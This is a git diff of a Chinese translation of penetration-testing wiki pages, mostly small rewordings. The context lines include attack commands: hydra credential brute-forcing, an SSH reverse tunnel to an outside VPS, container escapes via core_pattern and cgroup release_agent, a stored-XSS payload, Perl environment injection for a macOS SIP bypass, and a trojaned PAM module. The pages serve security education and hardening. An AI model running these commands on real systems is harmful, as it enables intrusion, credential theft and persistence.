### 1.1 Default OSS / NE Accounts
一个令人惊讶的大量供应商网络元素出厂时带有硬编码的SSH/Telnet用户，如`root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser`，……一个专用的字典显著提高了暴力破解的成功率：
一个令人惊讶的大量供应商网络元素出厂时带有硬编码的SSH/Telnet用户，例如`root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser`，……一个专用的字典显著提高了暴力破解的成功率：
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
@ -66,7 +66,7 @@ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
通过适当的防火墙发夹，隧道绕过仅信号的VLAN，直接进入**数据平面**。
通过适当的防火墙发夹，这个隧道绕过仅信号的VLAN，直接进入**数据平面**。
### 4.2 通过53端口的SSH反向隧道
DNS在漫游基础设施中几乎总是开放的。将内部SSH服务暴露给您的VPS，监听:53，然后从家中返回：
@ -78,9 +78,9 @@ ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
## 5. 隐蔽通道
| 通道 | 传输 | 解码 | 备注 |
|---------|-----------|----------|-------|
|------|------|------|------|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4 字节密钥 + 14 字节块 (XOR) | 纯被动监听器，无出站流量 |
| DNS – `NoDepDNS` | UDP 53 | XOR (密钥 = `funnyAndHappy`) 编码在 A 记录八位组中 | 监视 `*.nodep` 子域 |
| DNS – `NoDepDNS` | UDP 53 | XOR (密钥 = `funnyAndHappy`) 编码在 A 记录八位字节中 | 监视 `*.nodep` 子域 |
| GTP – `GTPDoor` | UDP 2123 | 私有 IE 中的 AES-128-CBC blob | 与合法的 GTP-C 聊天混合 |
所有植入物都实现了看门狗，**timestomp** 它们的二进制文件，并在崩溃时重新生成。
@ -118,7 +118,7 @@ rm -f /tmp/sh ; history -c
```
## 8. 工具箱
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 在前面的部分中描述的自定义工具。
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 在前面的章节中描述的自定义工具。
* `FScan` : 内部网络 TCP 扫描 (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS 恶意 WPAD
* `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 代理

42
src/hardware-physical-access/firmware-analysis/README.md
View File

@ -1,14 +1,14 @@
# 固件分析
# Firmware Analysis
{{#include ../../banners/hacktricks-training.md}}
## **介绍**
## **Introduction**
固件是使设备正常运行的基本软件，通过管理和促进硬件组件与用户交互的软件之间的通信。它存储在永久内存中，确保设备在开机时能够访问重要指令，从而启动操作系统。检查和可能修改固件是识别安全漏洞的关键步骤。
## **收集信息**
## **Gathering Information**
**收集信息**是理解设备构成及其使用的技术的关键初步步骤。此过程涉及收集以下数据：
**收集信息**是理解设备构成和所使用技术的关键初步步骤。此过程涉及收集以下数据：
- CPU架构和运行的操作系统
- 引导加载程序的具体信息
@ -21,12 +21,12 @@
为此，**开源情报（OSINT）**工具是不可或缺的，同时通过手动和自动审查过程分析任何可用的开源软件组件也很重要。像[Coverity Scan](https://scan.coverity.com)和[Semmle’s LGTM](https://lgtm.com/#explore)这样的工具提供免费的静态分析，可以用来发现潜在问题。
## **获取固件**
## **Acquiring the Firmware**
获取固件可以通过多种方式进行，每种方式的复杂程度不同：
- **直接**从源头（开发者、制造商）
- **根据**提供的说明进行**构建**
- **根据**提供的说明**构建**
- **从**官方支持网站**下载**
- 利用**Google dork**查询查找托管的固件文件
- 直接访问**云存储**，使用像[S3Scanner](https://github.com/sa7mon/S3Scanner)这样的工具
@ -37,7 +37,7 @@
- 从引导加载程序或网络**转储**
- 在所有其他方法失败时，**拆卸并读取**存储芯片，使用适当的硬件工具
## 分析固件
## Analyzing the firmware
现在你**拥有固件**，你需要提取有关它的信息，以了解如何处理它。你可以使用的不同工具有：
```bash
@ -105,7 +105,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
`$ jefferson rootfsfile.jffs2`
- 对于带 NAND 闪存的 ubifs 文件系统
- 对于带有 NAND 闪存的 ubifs 文件系统
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
@ -117,7 +117,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### 初步分析工具
提供了一组命令用于初步检查二进制文件（称为 `<bin>`）。这些命令有助于识别文件类型、提取字符串、分析二进制数据以及理解分区和文件系统的详细信息：
提供了一组命令用于对二进制文件（称为 `<bin>`）进行初步检查。这些命令有助于识别文件类型、提取字符串、分析二进制数据以及理解分区和文件系统的细节：
```bash
file <bin>
strings -n8 <bin>
@ -142,7 +142,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### 文件系统分析
提取文件系统后，开始寻找安全漏洞。关注不安全的网络守护进程、硬编码的凭据、API 端点、更新服务器功能、未编译的代码、启动脚本和编译的二进制文件以进行离线分析。
提取文件系统后，开始寻找安全漏洞。重点关注不安全的网络守护进程、硬编码的凭据、API 端点、更新服务器功能、未编译的代码、启动脚本和编译的二进制文件以进行离线分析。
**关键位置**和**项目**检查包括：
@ -164,7 +164,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
## 模拟固件进行动态分析
模拟固件的过程使得可以对设备的操作或单个程序进行**动态分析**。这种方法可能会遇到硬件或架构依赖性的问题，但将根文件系统或特定二进制文件转移到具有匹配架构和字节序的设备（如 Raspberry Pi）或预构建的虚拟机上，可以促进进一步的测试。
模拟固件的过程使得能够对设备的操作或单个程序进行**动态分析**。这种方法可能会遇到硬件或架构依赖性的问题，但将根文件系统或特定二进制文件转移到具有匹配架构和字节序的设备（如 Raspberry Pi）或预构建的虚拟机上，可以促进进一步的测试。
### 模拟单个二进制文件
@ -180,7 +180,7 @@ file ./squashfs-root/bin/busybox
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
对于 MIPS（大端），使用 `qemu-mips`，而对于小端二进制文件，则选择 `qemu-mipsel`。
对于 MIPS（大端），使用 `qemu-mips`，而对于小端二进制文件，选择 `qemu-mipsel`。
#### ARM 架构仿真
@ -188,15 +188,15 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
### 完整系统仿真
像 [Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 等工具，促进了完整固件仿真，自动化了过程并有助于动态分析。
像 [Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 等工具，促进完整固件仿真，自动化过程并帮助动态分析。
## 实践中的动态分析
在这个阶段，使用真实或仿真的设备环境进行分析。保持对操作系统和文件系统的 shell 访问是至关重要的。仿真可能无法完美模拟硬件交互，因此需要偶尔重新启动仿真。分析应重新访问文件系统，利用暴露的网页和网络服务，并探索引导加载程序漏洞。固件完整性测试对于识别潜在的后门漏洞至关重要。
在此阶段，使用真实或仿真的设备环境进行分析。保持对操作系统和文件系统的 shell 访问至关重要。仿真可能无法完美模拟硬件交互，因此需要偶尔重新启动仿真。分析应重新访问文件系统，利用暴露的网页和网络服务，并探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
## 运行时分析技术
运行时分析涉及在其操作环境中与进程或二进制文件进行交互，使用工具如 gdb-multiarch、Frida 和 Ghidra 设置断点，并通过模糊测试和其他技术识别漏洞。
运行时分析涉及在其操作环境中与进程或二进制文件交互，使用 gdb-multiarch、Frida 和 Ghidra 等工具设置断点，并通过模糊测试和其他技术识别漏洞。
## 二进制利用和概念验证
@ -204,9 +204,9 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
## 准备好的操作系统用于固件分析
像 [AttifyOS](https://github.com/adi0x90/attifyos) 和 [EmbedOS](https://github.com/scriptingxss/EmbedOS) 这样的操作系统提供了预配置的固件安全测试环境，配备必要的工具。
像 [AttifyOS](https://github.com/adi0x90/attifyos) 和 [EmbedOS](https://github.com/scriptingxss/EmbedOS) 这样的操作系统提供预配置的固件安全测试环境，配备必要的工具。
## 准备好的操作系统用于分析固件
## 准备好的操作系统分析固件
- [**AttifyOS**](https://github.com/adi0x90/attifyos)：AttifyOS 是一个旨在帮助您对物联网（IoT）设备进行安全评估和渗透测试的发行版。它通过提供一个预配置的环境，加载所有必要的工具，节省了您大量时间。
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS)：基于 Ubuntu 18.04 的嵌入式安全测试操作系统，预装固件安全测试工具。
@ -223,7 +223,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
* 从第三方存储库如 VirusTotal、互联网档案、论坛等获取。
2. **通过任何暴露的更新通道将镜像上传或提供给设备**：
* Web UI、移动应用 API、USB、TFTP、MQTT 等。
* 许多消费级 IoT 设备暴露 *未认证* 的 HTTP(S) 端点，接受 Base64 编码的固件块，服务器端解码并触发恢复/升级。
* 许多消费类 IoT 设备暴露 *未认证* 的 HTTP(S) 端点，接受 Base64 编码的固件块，服务器端解码并触发恢复/升级。
3. 降级后，利用在新版本中修补的漏洞（例如，后来添加的命令注入过滤器）。
4. 可选地将最新镜像重新闪存或禁用更新，以避免在获得持久性后被检测。
@ -234,11 +234,11 @@ Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
在易受攻击的（降级的）固件中，`md5` 参数直接连接到一个 shell 命令中而没有进行清理，从而允许注入任意命令（在这里 - 启用基于 SSH 的 root 访问）。后来的固件版本引入了基本的字符过滤器，但缺乏降级保护使得修复变得无效。
在易受攻击的（降级）固件中，`md5` 参数直接连接到 shell 命令中而没有进行清理，从而允许注入任意命令（在这里 - 启用基于 SSH 密钥的 root 访问）。后来的固件版本引入了基本的字符过滤器，但缺乏降级保护使得修复变得无效。
### 从移动应用提取固件
许多供应商将完整的固件映像打包在其配套的移动应用程序中，以便应用可以通过蓝牙/Wi-Fi 更新设备。这些包通常以未加密的形式存储在 APK/APEX 中，路径如 `assets/fw/` 或 `res/raw/`。工具如 `apktool`、`ghidra`，甚至普通的 `unzip` 允许您在不接触物理硬件的情况下提取签名的映像。
许多供应商将完整的固件映像捆绑在其配套的移动应用程序中，以便应用可以通过蓝牙/Wi-Fi 更新设备。这些包通常以未加密的形式存储在 APK/APEX 中，路径如 `assets/fw/` 或 `res/raw/`。工具如 `apktool`、`ghidra`，甚至普通的 `unzip` 允许您在不接触物理硬件的情况下提取签名的映像。
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
@ -248,7 +248,7 @@ firmware_v1.3.11.490_signed.bin
* *更新端点* 的传输/认证是否得到充分保护（TLS + 认证）？
* 设备在刷写之前是否比较 **版本号** 或 **单调反回滚计数器**？
* 映像是否在安全启动链中进行验证（例如，ROM代码检查签名）？
* 镜像是否在安全启动链中进行验证（例如，ROM代码检查签名）？
* 用户空间代码是否执行额外的合理性检查（例如，允许的分区映射、型号）？
* *部分* 或 *备份* 更新流程是否重用相同的验证逻辑？

10
src/linux-hardening/bypass-bash-restrictions/README.md
View File

@ -140,7 +140,7 @@ echo ${PATH:0:1} #/
```
### DNS 数据外泄
你可以使用 **burpcollab** 或 [**pingb**](http://pingb.in) 作为例子。
你可以使用 **burpcollab** 或者 [**pingb**](http://pingb.in) 作为例子。
### 内置命令
@ -259,7 +259,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### 4个字符的RCE
### RCE 与 4 个字符
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -294,7 +294,7 @@ ln /f*
'sh x'
'sh g'
```
## 只读/无执行/无发行版绕过
## 只读/无执行/无发行版旁路
如果您在一个具有 **只读和无执行保护** 的文件系统中，甚至在一个无发行版容器中，仍然有方法可以 **执行任意二进制文件，甚至是一个 shell！:**
@ -302,7 +302,7 @@ ln /f*
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot 和其他监狱绕过
## Chroot 和其他监狱旁路
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
@ -322,7 +322,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
实际使用案例：
1. **内存映射配置块**（例如 NVRAM），可跨进程访问。
1. **内存映射配置块**（例如 NVRAM），可在进程之间访问。
2. 攻击者无法写入 NULL 字节以对齐有效负载的情况。
3. 仅提供 BusyBox `ash`/`sh` 的嵌入式设备 – 它们也会忽略前导空格。

6
src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md
View File

@ -4,7 +4,7 @@
### 基本信息
**PAM (可插拔认证模块)** 作为一种安全机制，**验证试图访问计算机服务的用户身份**，根据各种标准控制他们的访问。它类似于数字门卫，确保只有授权用户可以使用特定服务，同时可能限制他们的使用以防止系统过载。
**PAM (Pluggable Authentication Modules)** 作为一种安全机制，**验证试图访问计算机服务的用户身份**，根据各种标准控制他们的访问。它类似于数字门卫，确保只有授权用户可以使用特定服务，同时可能限制他们的使用以防止系统过载。
#### 配置文件
@ -48,7 +48,7 @@ session required /lib/security/pam_unix_session.so
## 后门 PAM – 钩住 `pam_unix.so`
在高价值的 Linux 环境中，一个经典的持久性技巧是 **用木马化的替代品替换合法的 PAM 库**。因为每次 SSH / 控制台登录最终都会调用 `pam_unix.so:pam_sm_authenticate()`，所以几行 C 代码就足以捕获凭据或实现 *magic* 密码绕过。
在高价值的 Linux 环境中，一个经典的持久性技巧是 **用木马化的替代品替换合法的 PAM 库**。因为每次 SSH / 控制台登录最终都会调用 `pam_unix.so:pam_sm_authenticate()`，几行 C 代码就足以捕获凭据或实现 *magic* 密码绕过。
### 编译备忘单
```c
@ -97,7 +97,7 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp
### Detection
* 比较 `pam_unix.so` 的 MD5/SHA256 与发行版包。
* 检查 `/lib/security/` 下的世界可写或不寻常的所有权。
* 检查 `/lib/security/` 下的可全局写入或不寻常的所有权。
* `auditd` 规则: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`。
### References

29
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
View File

@ -16,7 +16,7 @@
- 在 [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) 中描述。
- 如果您可以写入此文件，则可以写入一个管道 `|`，后跟将在崩溃发生后执行的程序或脚本的路径。
- 攻击者可以通过执行 `mount` 找到主机中其容器的路径，并将路径写入其容器文件系统中的二进制文件。然后，崩溃一个程序以使内核在容器外执行该二进制文件。
- 攻击者可以通过执行 `mount` 找到主机内的路径，并将路径写入其容器文件系统中的二进制文件。然后，崩溃一个程序以使内核在容器外执行该二进制文件。
- **测试和利用示例**：
```bash
@ -59,18 +59,18 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问
#### **`/proc/sys/fs/binfmt_misc`**
- 允许根据其魔数注册非本地二进制格式的解释器。
- 允许根据其魔术数字注册非本地二进制格式的解释器。
- 如果 `/proc/sys/fs/binfmt_misc/register` 可写，可能导致特权升级或 root shell 访问。
- 相关漏洞和解释：
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 深入教程：[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### 其他在 `/proc` 中
### 其他 `/proc` 中的内容
#### **`/proc/config.gz`**
- 如果启用了 `CONFIG_IKCONFIG_PROC`，可能会揭示内核配置。
- 对攻击者识别正在运行的内核中的漏洞非常有用。
- 对攻击者识别运行内核中的漏洞非常有用。
#### **`/proc/sysrq-trigger`**
@ -84,12 +84,12 @@ echo b > /proc/sysrq-trigger # 重启主机
#### **`/proc/kmsg`**
- 暴露内核环形缓冲区消息。
- 可以帮助进行内核漏洞利用、地址泄漏，并提供敏感系统信息。
- 可以帮助内核漏洞利用、地址泄漏，并提供敏感系统信息。
#### **`/proc/kallsyms`**
- 列出内核导出符号及其地址。
- 对于内核漏洞开发至关重要，特别是克服 KASLR。
- 对于内核漏洞开发至关重要，尤其是克服 KASLR。
- 地址信息在 `kptr_restrict` 设置为 `1` 或 `2` 时受到限制。
- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
@ -124,7 +124,7 @@ echo b > /proc/sysrq-trigger # 重启主机
#### **`/proc/[pid]/mountinfo`**
- 提供有关进程挂载命名空间中挂载点的信息。
- 暴露容器 `rootfs` 或镜像的位置。
- 暴露容器 `rootfs` 或映像的位置。
### `/sys` 漏洞
@ -132,7 +132,7 @@ echo b > /proc/sysrq-trigger # 重启主机
- 用于处理内核设备 `uevents`。
- 写入 `/sys/kernel/uevent_helper` 可以在 `uevent` 触发时执行任意脚本。
- **漏洞利用示例**：
- **利用示例**：
```bash
#### Creates a payload
@ -231,8 +231,7 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
/ # echo '<!DOCTYPE html><html lang="zh"><head><script>alert("存储的 XSS！")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
```
The XSS was achieved:
@ -273,10 +272,10 @@ So the filesystems are under `/var/lib/docker/overlay2/`:
```bash
$ sudo ls -la /var/lib/docker/overlay2
drwx--x--- 4 root root 4096 1月 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 1月 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 1月 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 1月 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
drwx--x--- 4 root root 4096 1月 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 1月 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 1月 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 1月 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
```
@ -315,7 +314,7 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
```bash
# 假设容器具有 CAP_SYS_ADMIN 权限和一个易受攻击的内核
# 假设容器具有 CAP_SYS_ADMIN 权限并且内核存在漏洞
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # 需要 CVE-2022-0492

12
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
View File

@ -35,9 +35,9 @@ export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # 在执行脚本之前会打开一个 shell
```
* **`PERL5SHELL`** – 在 Windows 上，此变量控制 Perl 在需要生成 shell 时将使用哪个 shell 可执行文件。这里提到它只是为了完整性，因为它在 macOS 上并不相关。
* **`PERL5SHELL`** – 在 Windows 上，此变量控制 Perl 在需要生成 shell 时将使用哪个 shell 可执行文件。这里提到它只是为了完整性，因为在 macOS 上它并不相关。
尽管 `PERL5DB` 需要 `-d` 开关，但常见的维护或安装脚本以 *root* 身份执行时会启用此标志以进行详细故障排除，使得该变量成为有效的提升向量。
尽管 `PERL5DB` 需要 `-d` 开关，但常见的维护或安装脚本以 *root* 身份执行时会启用此标志以进行详细故障排除，使该变量成为有效的提升向量。
## 通过依赖项（@INC 滥用）
@ -57,17 +57,17 @@ perl -e 'print join("\n", @INC)'
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
一些返回的文件夹甚至不存在，然而 **`/Library/Perl/5.30`** 确实存在，*不*受 SIP 保护，并且在 SIP 保护的文件夹之前。因此，如果您可以以 *root* 身份写入，您可以放置一个恶意模块（例如 `File/Basename.pm`），该模块将被任何导入该模块的特权脚本 *优先* 加载。
一些返回的文件夹甚至不存在，然而 **`/Library/Perl/5.30`** 确实存在，*不*受 SIP 保护，并且在 SIP 保护的文件夹之前。因此，如果你可以以 *root* 身份写入，你可以放置一个恶意模块（例如 `File/Basename.pm`），该模块将被任何导入该模块的特权脚本 *优先* 加载。
> [!WARNING]
> 您仍然需要 **root** 权限才能写入 `/Library/Perl`，macOS 会显示一个 **TCC** 提示，要求为执行写入操作的进程提供 *完全磁盘访问* 权限。
> 你仍然需要 **root** 权限才能写入 `/Library/Perl`，macOS 会显示一个 **TCC** 提示，要求为执行写入操作的进程提供 *完全磁盘访问* 权限。
例如，如果一个脚本导入 **`use File::Basename;`**，则可以创建 `/Library/Perl/5.30/File/Basename.pm`，其中包含攻击者控制的代码。
## 通过迁移助手绕过 SIP (CVE-2023-32369 “Migraine”)
在 2023 年 5 月，微软披露了 **CVE-2023-32369**，昵称为 **Migraine**，这是一种后期利用技术，允许 *root* 攻击者完全 **绕过系统完整性保护 (SIP)**。
易受攻击的组件是 **`systemmigrationd`**，这是一个具有 **`com.apple.rootless.install.heritable`** 权限的守护进程。由该守护进程生成的任何子进程都继承该权限，因此在 SIP 限制之外运行。
易受攻击的组件是 **`systemmigrationd`**，这是一个具有 **`com.apple.rootless.install.heritable`** 权限的守护进程。该守护进程生成的任何子进程都继承该权限，因此在 SIP 限制之外运行。
研究人员识别出的子进程中包括 Apple 签名的解释器：
```
@ -81,7 +81,7 @@ launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
当 `migrateLocalKDC` 运行时，`/usr/bin/perl` 会以恶意的 `PERL5OPT` 启动，并在 SIP 被重新启用之前执行 `/private/tmp/migraine.sh`。通过该脚本，您可以例如将有效负载复制到 **`/System/Library/LaunchDaemons`** 中，或分配 `com.apple.rootless` 扩展属性以使文件 **不可删除**。
当 `migrateLocalKDC` 运行时，`/usr/bin/perl` 会在恶意的 `PERL5OPT` 下启动，并在 SIP 被重新启用之前执行 `/private/tmp/migraine.sh`。通过该脚本，你可以，例如，将有效负载复制到 **`/System/Library/LaunchDaemons`** 中，或分配 `com.apple.rootless` 扩展属性以使文件 **不可删除**。
苹果在 macOS **Ventura 13.4**、**Monterey 12.6.6** 和 **Big Sur 11.7.7** 中修复了该问题，但较旧或未修补的系统仍然可以被利用。

20
src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
View File

@ -24,11 +24,11 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
```
### Pentesting ARD
Apple Remote Desktop (ARD) 是一个增强版的 [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing)，专为 macOS 量身定制，提供额外功能。ARD 中一个显著的漏洞是其控制屏幕密码的认证方法，仅使用密码的前 8 个字符，使其容易受到 [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) 的攻击，使用像 Hydra 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 这样的工具，因为没有默认的速率限制。
Apple Remote Desktop (ARD) 是一个针对 macOS 的增强版 [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing)，提供额外的功能。ARD 中一个显著的漏洞是其控制屏幕密码的认证方法，仅使用密码的前 8 个字符，使其容易受到 [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) 的攻击，使用像 Hydra 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 这样的工具，因为没有默认的速率限制。
可以使用 **nmap** 的 `vnc-info` 脚本识别易受攻击的实例。支持 `VNC Authentication (2)` 的服务由于 8 个字符密码的截断，尤其容易受到暴力攻击。
要启用 ARD 进行各种管理任务，如权限提升、GUI 访问或用户监控，请使用以下命令：
要启用 ARD 以进行特权提升、GUI 访问或用户监控等各种管理任务，请使用以下命令：
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
@ -39,12 +39,12 @@ ARD 提供多种控制级别，包括观察、共享控制和完全控制，且
| 年份 | CVE | 组件 | 影响 | 修复于 |
|------|-----|-----------|--------|----------|
|2023|CVE-2023-42940|屏幕共享|不正确的会话渲染可能导致传输*错误*的桌面或窗口，从而泄露敏感信息|macOS Sonoma 14.2.1 (2023年12月) |
|2024|CVE-2024-23296|launchservicesd / login|内核内存保护绕过，可以在成功的远程登录后链接（在野外被积极利用）|macOS Ventura 13.6.4 / Sonoma 14.4 (2024年3月) |
|2024|CVE-2024-23296|launchservicesd / login|内核内存保护绕过，可在成功远程登录后链接（在野外被积极利用）|macOS Ventura 13.6.4 / Sonoma 14.4 (2024年3月) |
**加固建议**
* 在不严格需要时禁用*屏幕共享*/*远程管理*。
* 保持 macOS 完全更新（Apple 通常会为最近三个主要版本发布安全修复）。
* 保持 macOS 完全更新（Apple 通常为最近三个主要版本发布安全修复）。
* 使用**强密码** *并* 在可能的情况下强制*“VNC 观看者可能使用密码控制屏幕”*选项**禁用**。
* 将服务放在 VPN 后面，而不是将 TCP 5900/3283 暴露于互联网。
* 添加应用防火墙规则，将 `ARDAgent` 限制在本地子网内：
@ -131,7 +131,7 @@ nmap -sU -p 5353 --script=dns-service-discovery <target>
`dns-service-discovery` 脚本发送一个 `_services._dns-sd._udp.local` 查询，然后枚举每个广告的服务类型。
* **mdns_recon** – Python 工具，扫描整个范围以寻找 *配置错误* 的 mDNS 响应者，这些响应者回答单播查询（有助于找到跨子网/WAN 可达的设备）：
* **mdns_recon** – 一个 Python 工具，扫描整个范围以寻找 *配置错误* 的 mDNS 响应者，这些响应者回答单播查询（有助于找到跨子网/WAN 可达的设备）：
```bash
git clone https://github.com/chadillac/mdns_recon && cd mdns_recon
@ -142,10 +142,10 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
### 安全考虑与近期漏洞 (2024-2025)
| 年份 | CVE | 严重性 | 问题 | 修复于 |
|------|-----|----------|-------|------------|
|2024|CVE-2024-44183|中等|*mDNSResponder* 中的逻辑错误允许一个构造的包触发 **拒绝服务**|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (2024年9月) |
|2025|CVE-2025-31222|高|*mDNSResponder* 中的正确性问题可能被滥用以进行 **本地特权提升**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (2025年5月) |
| 年份 | CVE | 严重性 | 问题 | 修复版本 |
|------|-----|--------|-------|----------|
|2024|CVE-2024-44183|中等|在 *mDNSResponder* 中的逻辑错误允许一个构造的包触发 **拒绝服务**|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (2024年9月) |
|2025|CVE-2025-31222|高|在 *mDNSResponder* 中的正确性问题可能被滥用以进行 **本地特权提升**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (2025年5月) |
**缓解指导**
@ -156,7 +156,7 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
3. 对于内部需要 Bonjour 但绝不能跨越网络边界的环境，使用 *AirPlay Receiver* 配置限制 (MDM) 或 mDNS 代理。
4. 启用 **系统完整性保护 (SIP)** 并保持 macOS 更新 – 上述两个漏洞都迅速修复，但依赖于 SIP 被启用以获得全面保护。
4. 启用 **系统完整性保护 (SIP)** 并保持 macOS 更新 – 上述两个漏洞都迅速修复，但依赖于启用 SIP 以获得全面保护。
### 禁用 Bonjour

44
src/mobile-pentesting/android-app-pentesting/android-applications-basics.md
View File

@ -50,7 +50,7 @@
## Rooting
为了获得物理Android设备的root访问权限，通常需要**利用**1或2个**漏洞**，这些漏洞通常是**特定**于**设备**和**版本**的。\
一旦利用成功，通常会将Linux `su`二进制文件复制到用户PATH环境变量中指定的位置，如`/system/xbin`。
一旦利用成功，通常会将Linux `su` 二进制文件复制到用户PATH环境变量中指定的位置，如`/system/xbin`。
一旦配置了su二进制文件，另一个Android应用程序将用于与`su`二进制文件接口并**处理root访问请求**，如**Superuser**和**SuperSU**（在Google Play商店中可用）。
@ -62,7 +62,7 @@
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的实用性，绕过软件限制或访问最新的Android代码。\
**OmniROM**和**LineageOS**是两个最流行的固件。
请注意，**并不总是需要root设备**才能安装自定义固件。**一些制造商允许**以良好记录和安全的方式解锁其引导加载程序。
